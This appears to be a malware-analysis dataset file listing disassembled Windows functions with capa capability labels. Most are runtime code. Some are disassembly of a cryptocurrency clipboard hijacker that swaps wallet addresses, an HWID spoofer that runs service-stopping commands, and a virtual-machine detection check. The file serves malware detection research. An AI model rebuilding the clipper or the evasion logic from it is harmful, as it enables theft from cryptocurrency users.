joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1402f9690
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rsi, str.NUITKA_ONEFILE_BINARY
mov ebx, ecx
mov rcx, rsi
call fcn.1402ce930
test rax, rax
je 0x1402f97e8
mov rcx, rax
mov rdx, 0xffffffffffffffff
lea r14, [rsp + 0x40]
call qword [sym.imp.python311.dll_PyUnicode_FromWideChar]
xor ecx, ecx
mov r15, r14
lea r12, [rsi + 0x28]
mov word [rsp + 0x40], cx
mov r13, rax
lea rbp, [rsp + 0x3a]
mov eax, 0x4e
lea rdi, [rsp + 0x3c]
nop word [rax + rax]
mov rbx, r12
mov r8d, 2
mov rdx, rbp
mov rcx, rdi
sub rbx, rsi
mov byte [rsp + 0x3a], al
mov byte [rsp + 0x3b], 0
call sub.msvcrt.dll_mbstowcs
cmp rax, 1
jne 0x14034a216
cmp word [r15], 0
movzx edx, word [rsp + 0x3c]
mov rax, r15
je 0x1402f9746
nop dword [rax]
add rax, 2
sub rbx, 1
cmp word [rax], 0
jne 0x1402f9738
test rbx, rbx
je 0x14034a216
mov word [rax], dx
add rsi, 1
xor edx, edx
add r15, 2
mov word [rax + 2], dx
movzx eax, byte [rsi]
test al, al
jne 0x1402f96f8
mov rcx, r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rax, qword [sym.imp.python311.dll__PyRuntime]
mov rcx, qword [0x14038e4a0]
mov rsi, qword [rax + 0x1f8]
mov rax, qword [0x140362bc0]
mov rbx, qword [rax + 0x1c0]
test rcx, rcx
je 0x1402f9840
mov rdx, rbx
call fcn.1402b5390
mov r8, r13
mov rcx, rsi
mov rbx, rax
mov rdx, rax
call fcn.1402ebd20
sub qword [rbx], 1
jne 0x1402f97d1
mov rdx, qword [rbx + 8]
mov qword [rsp + 0x28], rax
mov rcx, rbx
call qword [rdx + 0x30]
mov rax, qword [rsp + 0x28]
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [0x14038dd58]
lea rsi, [0x14038dd58]
test bl, bl
je 0x1402f9808
mov rax, qword [0x14038dd60]
lea rsi, [0x14038dd60]
test rax, rax
jne 0x1402f97d1
cmp byte [0x14038df82], 0
jne 0x1402f981e
movzx ecx, bl
call fcn.1402b72f0
mov rdx, 0xffffffffffffffff
lea rcx, [0x14038dd80]
call qword [sym.imp.python311.dll_PyUnicode_FromWideChar]
mov qword [rsi], rax
test rax, rax
je 0x1402f986a
add qword [rax], 1
jmp 0x1402f97d1
mov rcx, qword [0x14038e418]
mov rdi, qword [rax + 0x1b0]
test rcx, rcx
je 0x1402f9875
mov rdx, rdi
call fcn.1402b5390
mov qword [0x14038e4a0], rax
mov rcx, rax
jmp 0x1402f979e
call qword [sym.imp.python311.dll_PyErr_Print]
call sub.msvcrt.dll_abort
lea rcx, [0x14035afbb]
call qword [sym.imp.python311.dll_PyImport_ImportModule]
mov qword [0x14038e418], rax
mov rcx, rax
test rax, rax
je 0x14034a216
jmp 0x1402f9853
Function at 0x14032f550
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp byte [0x14038dd41], 0
mov rbp, rcx
mov r12, rdx
mov rdi, r8
je 0x14032f5d8
lea rdx, [0x14035e8fa]
mov rcx, rdi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14032f640
mov rbx, qword [0x14038dbe0]
jmp 0x14032f595
lea rbx, [rdx + rax + 4]
mov rdx, rbx
mov rcx, rdi
call sub.msvcrt.dll_strcmp
mov rcx, rbx
mov esi, eax
call sub.msvcrt.dll_strlen
lea rdx, [rbx + rax + 1]
mov eax, dword [rdx]
test esi, esi
jne 0x14032f590
movzx r9d, word [rdx + 4]
lea r8, [rdx + 6]
mov rcx, rbp
mov rdx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp fcn.14031e720
mov r8d, 0xa
xor ecx, ecx
mov edx, 3
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
xor ecx, ecx
lea rdx, [rax + 4]
mov qword [0x14038dbe0], rax
mov ebx, dword [rax]
mov qword [0x14038dbe0], rdx
mov r8d, dword [rax + 4]
lea rdx, [rax + 8]
mov qword [0x14038dbe0], rdx
call fcn.14032e680
cmp eax, ebx
jne 0x14032f6a8
mov byte [0x14038dd41], 1
jmp 0x14032f56c
cmp byte [0x14038dd40], 0
jne 0x14032f583
mov rbx, qword [sym.imp.python311.dll_PyDict_New]
call rbx
mov qword [0x14038e6a8], rax
call rbx
mov qword [0x14038e6a0], rax
call rbx
mov qword [0x14038e698], rax
call rbx
mov qword [0x14038e690], rax
call rbx
mov qword [0x14038e688], rax
call rbx
mov qword [0x14038e680], rax
call rbx
mov qword [0x14038e678], rax
call rbx
mov byte [0x14038dd40], 1
mov qword [0x14038e670], rax
jmp 0x14032f583
lea rcx, str.Error__corrupted_constants_object
call sub.msvcrt.dll_puts
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x140337f20
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.1403496b0
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.1403496b0
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
Function at 0x140338bf2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14038eb68]
test eax, eax
je 0x140338c8a
lea rax, [0x14038eb40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14038eb70]
mov qword [rbp - 8], rax
jmp 0x140338c6e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140338c62
cmp qword [rbp - 0x10], 0
je 0x140338c62
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140338c28
lea rax, [0x14038eb40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140338c8b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140338d90
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140338db8
mov eax, 0
jmp 0x140338e06
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140338de1
mov eax, 0
jmp 0x140338e06
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140338e01
mov eax, 0
jmp 0x140338e06
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140338e0c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140338e8a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140338e81
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140338e81
mov rax, qword [rbp - 8]
jmp 0x140338e9f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140338e54
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001000
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x88], rax
lea rcx, str.0000000
xor r12d, r12d
lea rax, str._13__a_km_zA_HJ_NP_Z1_9__
mov qword [rsp + 0x20], rax
lea rax, str.bc1q_a_zA_HJ_NP_Z0_9__
mov qword [r11 - 0x78], rax
lea rax, str.0x_a_fA_F0_9__
mov qword [r11 - 0x68], rax
lea rax, str._LM3__a_km_zA_HJ_NP_Z1_9__
mov qword [r11 - 0x58], rax
lea rax, str.r_0_9a_zA_Z__
mov qword [r11 - 0x48], rax
lea rax, str.D_5_9A_HJ_NP_U__1_9A_HJ_NP_Za_km_z__
mov qword [r11 - 0x80], rcx
mov qword [r11 - 0x70], rcx
mov qword [r11 - 0x60], rcx
lea rcx, [0x1400032a8]
mov qword [r11 - 0x38], rax
mov qword [r11 - 0x50], rcx
mov qword [r11 - 0x40], rcx
mov qword [r11 - 0x30], rcx
nop
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400010c4
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov qword [0x140005670], rax
call qword [sym.imp.USER32.dll_CloseClipboard]
mov r15, qword [0x140005670]
test r15, r15
je 0x1400011d8
lea r14, [rsp + 0x28]
mov ebp, 6
nop
mov rcx, qword [r14 - 8]
mov rbx, r15
call fcn.140001200
mov dword [rsp + 0x80], r12d
mov rsi, rax
test rax, rax
je 0x1400011ca
cmp byte [rax], 2
jne 0x140001123
lea rcx, [rax + 0x10]
mov rdx, r15
lea r8, [rsp + 0x80]
call fcn.140001830
neg eax
sbb edi, edi
neg edi
dec edi
jmp 0x140001159
mov edi, 0xffffffff
nop dword [rax + rax]
lea r8, [rsp + 0x80]
mov rdx, rbx
mov rcx, rsi
inc edi
call fcn.140001830
movzx ecx, byte [rbx]
test eax, eax
jne 0x140001155
inc rbx
test cl, cl
jne 0x140001130
jmp 0x1400011ca
test cl, cl
je 0x1400011ca
cmp edi, 0xffffffff
je 0x1400011ca
mov rbx, qword [r14]
mov rdx, 0xffffffffffffffff
nop dword [rax + rax]
inc rdx
cmp byte [rbx + rdx], r12b
jne 0x140001170
inc rdx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdi, rax
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rbx + r8], r12b
jne 0x140001190
mov rdx, rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1400011ca
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, rdi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
add r14, 0x10
sub rbp, 1
jne 0x1400010e0
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400010a0

Function at 0x140002424
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000246e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000246e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000246e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000246e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000246e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002470
xor al, al
add rsp, 0x28
ret
Function at 0x1400015e0
Capabilities:
Execute command
Set console window title
Terminate process

Disassembly:
sub rsp, 0x28
lea rcx, str.AETHE_FREE_Spoofer
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
xor r9d, r9d
lea r8, str._AE___FREE_SPOOFER
lea rdx, str.Press_OK_to_start_Spoofing
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400028a0
mov ecx, 0x578
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400045e4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140001450
lea rcx, [0x1400045e4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_winmgmt__y
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400045e4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.net_start_winmgmt__y
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400045e4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.mac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400045e4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x578
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
lea r8, str._AE___FREE_SPOOFER
lea rdx, str.Done_Spoofing_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [0x1400045e4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.seriels.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x1400010b0
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
nop
movzx eax, word [rsp + 0x20]
lea rcx, str.vmguest
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x1400010e9
lea rcx, str.vboxguest
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1400010ed
mov al, 1
jmp 0x1400010ef
xor al, al
add rsp, 0x58
ret

Function at 0x140001eb8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001f02
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001f02
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001f02
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001f02
cmp dword [rcx + 0x84], 0xe
jbe 0x140001f02
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001f04
xor al, al
add rsp, 0x28
ret
Function at 0x140014540
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3d0], rcx
mov qword [rbp + 0x3d8], 0
mov qword [rbp + 0x3e0], 2
mov qword [rbp + 0x3e8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3c8], rax
xor esi, esi
xor edi, edi
xor ebx, ebx
cmp r8, 0x201
jae 0x1400145e0
jmp 0x1400145cf
jae 0x1400146ae
cmp r8, 0x201
jae 0x1400145e0
mov r14d, 0x200
lea r15, [rbp - 0x58]
mov r12, r8
jmp 0x140014646
sub r8, rbx
sub rdi, rbx
cmp rdi, r8
jae 0x14001461e
mov qword [rsp + 0x20], 2
mov r9d, 2
lea rcx, [rbp + 0x3d8]
mov rdx, rbx
call fcn.140036d10
mov rsi, qword [rbp + 0x3d8]
mov rax, qword [rbp + 0x3e0]
mov qword [rbp + 0x3c8], rax
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
mov qword [rbp + 0x3e8], rbx
mov rdi, rsi
mov r14, rbx
mov r15, qword [rbp + 0x3c8]
mov r12, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r12d
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r13d, eax
test eax, eax
jne 0x14001466f
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14001471a
mov r8d, r13d
cmp r12, r8
jne 0x1400145c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14001474e
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jb 0x1400145cf
jmp 0x1400145e0
cmp r14, r8
jb 0x140014768
lea rcx, [rbp + 0x3a8]
mov rdx, r15
call fcn.140016520
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3d0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
je 0x140014703
mov rcx, qword [rbp + 0x3e0]
add rdx, rdx
mov r8d, 2
call fcn.14000d8b0
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3d0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
jne 0x1400146ee
jmp 0x140014703
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.140037930
jmp 0x14001477d
lea rax, str.std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.140037c80
ud2
Function at 0x140014e90
Capabilities:
Create directory

Disassembly:
push rbp
mov rbp, rsp
cmp byte [rcx], 0
je 0x140014ea5
mov rcx, rdx
mov rdx, r8
pop rbp
jmp fcn.140014ec0
mov rcx, rdx
mov rdx, r8
pop rbp
jmp fcn.14001d260

Function at 0x14001a060
Capabilities:
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x10c8
call fcn.1400360e0
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1030], xmm6
mov qword [rbp + 0x1028], 0xfffffffffffffffe
mov rsi, rdx
mov qword [rbp + 0x1020], rcx
mov qword [rbp + 0xfd8], rcx
mov qword [rbp + 0xfe0], rdx
lea rcx, [rbp - 0x50]
mov r8d, 0x1000
xor edx, edx
call sub.VCRUNTIME140.dll_memset
xorps xmm6, xmm6
lea rbx, [0x14001f340]
lea r12, [rbp + 0xfb0]
mov rdi, qword [sym.imp.KERNEL32.dll_WriteFileEx]
mov r15, qword [sym.imp.KERNEL32.dll_SleepEx]
mov qword [rbp + 0x1018], rsi
mov rax, qword [rbp + 0x1020]
mov qword [rbp + 0x1010], rax
mov r8d, 0x1000
lea rcx, [rbp + 0xfd8]
lea rdx, [rbp - 0x50]
call fcn.14001f260
mov r14, rdx
test rax, rax
jne 0x14001a1fc
test r14, r14
je 0x14001a1cc
cmp r14, 0x1000
ja 0x14001a2a0
xor r13d, r13d
nop dword [rax + rax]
cmp r13, r14
ja 0x14001a277
mov r8d, r14d
sub r8d, r13d
lea rdx, [r13 - 0x50]
add rdx, rbp
mov dword [rbp + 0xff4], 0
movaps xmmword [rbp + 0xfb0], xmm6
mov qword [rbp + 0xfc0], 0
lea rax, [rbp + 0xff4]
mov qword [rbp + 0xfc8], rax
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov r9, r12
call rdi
test eax, eax
je 0x14001a1c6
nop word cs:[rax + rax]
mov ecx, 0xffffffff
mov edx, 1
call r15
cmp dword [rbp + 0xff4], 1
jne 0x14001a190
cmp dword [rbp + 0xff8], 0
jne 0x14001a1cc
mov eax, dword [rbp + 0xffc]
add r13, rax
cmp r13, r14
jne 0x14001a130
jmp 0x14001a0db
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1020]
call rdi
mov rcx, rsi
call rdi
movaps xmm6, xmmword [rbp + 0x1030]
add rsp, 0x10c8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, r14d
and eax, 3
cmp eax, 1
jne 0x14001a1cc
mov rax, r14
dec rax
mov qword [rbp + 0xfe8], rax
mov rax, qword [r14 - 1]
mov qword [rbp + 0x1000], rax
mov rax, qword [r14 + 7]
mov qword [rbp + 0x1008], rax
mov rax, qword [rax]
test rax, rax
je 0x14001a23b
mov rcx, qword [rbp + 0x1000]
call rax
mov rcx, qword [rbp + 0x1000]
mov rax, qword [rbp + 0x1008]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14001a25b
mov r8, qword [rax + 0x10]
call fcn.14000d8b0
mov edx, 0x18
mov r8d, 8
mov rcx, qword [rbp + 0xfe8]
call fcn.14000d8b0
jmp 0x14001a1cc
mov qword [rbp + 0x1018], rsi
mov rax, qword [rbp + 0x1020]
mov qword [rbp + 0x1010], rax
lea r8, str.std_src_syspalwindowspipe.rs
mov rcx, r13
mov rdx, r14
call fcn.140037cf0
jmp 0x14001a2c9
mov qword [rbp + 0x1018], rsi
mov rax, qword [rbp + 0x1020]
mov qword [rbp + 0x1010], rax
lea r8, str.std_src_syspalwindowspipe.rs
mov edx, 0x1000
mov rcx, r14
call fcn.140037c80
ud2
Function at 0x14001d260
Capabilities:
Create directory

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x70
lea rbp, [rsp + 0x70]
mov r8, rdx
mov rdx, rcx
lea rcx, [rbp - 0x18]
call fcn.1400271c0
mov rax, qword [rbp - 0x18]
mov rsi, qword [rbp - 0x10]
mov rcx, rax
neg rcx
jo 0x14001d2bb
mov rcx, qword [rbp - 8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x20], rcx
lea rcx, [rbp - 0x48]
lea rdx, [rbp - 0x30]
mov r8b, 1
call fcn.1400287b0
mov rdi, qword [rbp - 0x48]
mov rsi, qword [rbp - 0x40]
mov rax, rdi
neg rax
jno 0x14001d2c6
mov rax, rsi
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
mov rcx, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x14001d2f2
test rdi, rdi
je 0x14001d31e
add rdi, rdi
mov r8d, 2
mov rcx, rsi
mov rdx, rdi
call fcn.14000d8b0
xor eax, eax
jmp 0x14001d2be
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
test rdi, rdi
je 0x14001d2be
add rdi, rdi
mov r8d, 2
mov rcx, rsi
mov rdx, rdi
mov rsi, rax
call fcn.14000d8b0
jmp 0x14001d2bb
xor eax, eax
jmp 0x14001d2be
Function at 0x14001dc90
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
mov rsi, rcx
mov rax, qword [rbp + 0x70]
mov qword [rbp - 8], r9
lea rcx, [rbp]
mov qword [rbp], rax
movups xmm0, xmmword [0x14003b920]
movaps xmmword [rbp + 0x10], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
xor r8d, r8d
test r9b, 1
cmove rcx, r8
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtReadFile]
cmp eax, 0x103
jne 0x14001dd1f
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rbp + 0x10]
cmp eax, 0xc0000011
jne 0x14001dd2c
xor edx, edx
xor eax, eax
jmp 0x14001dd56
cmp eax, 0x103
je 0x14001dd60
test eax, eax
js 0x14001dd3f
mov rdx, qword [rbp + 0x18]
xor eax, eax
jmp 0x14001dd56
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xb8
pop rsi
pop rbp
ret
mov dword [rbp + 0x28], 0
mov byte [rbp + 0x2c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x30]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x28]
lea rdx, [rbp - 0x38]
call fcn.1400162b0
mov qword [rbp + 8], rax
lea rcx, [rbp + 8]
call fcn.14000f1e0
mov ecx, 7
int 0x29
ud2

Function at 0x14001ddb0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
mov rsi, rcx
mov rax, qword [rbp + 0x70]
mov qword [rbp - 8], r9
lea rcx, [rbp]
mov qword [rbp], rax
movups xmm0, xmmword [0x14003b920]
movaps xmmword [rbp + 0x10], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
xor r8d, r8d
test r9b, 1
cmove rcx, r8
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14001de46
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rbp + 0x10]
cmp eax, 0x103
je 0x14001de73
test eax, eax
js 0x14001de52
mov rdx, qword [rbp + 0x18]
xor eax, eax
jmp 0x14001de69
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xb8
pop rsi
pop rbp
ret
mov dword [rbp + 0x28], 0
mov byte [rbp + 0x2c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x30]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x28]
lea rdx, [rbp - 0x38]
call fcn.1400162b0
mov qword [rbp + 8], rax
lea rcx, [rbp + 8]
call fcn.14000f1e0
mov ecx, 7
int 0x29
ud2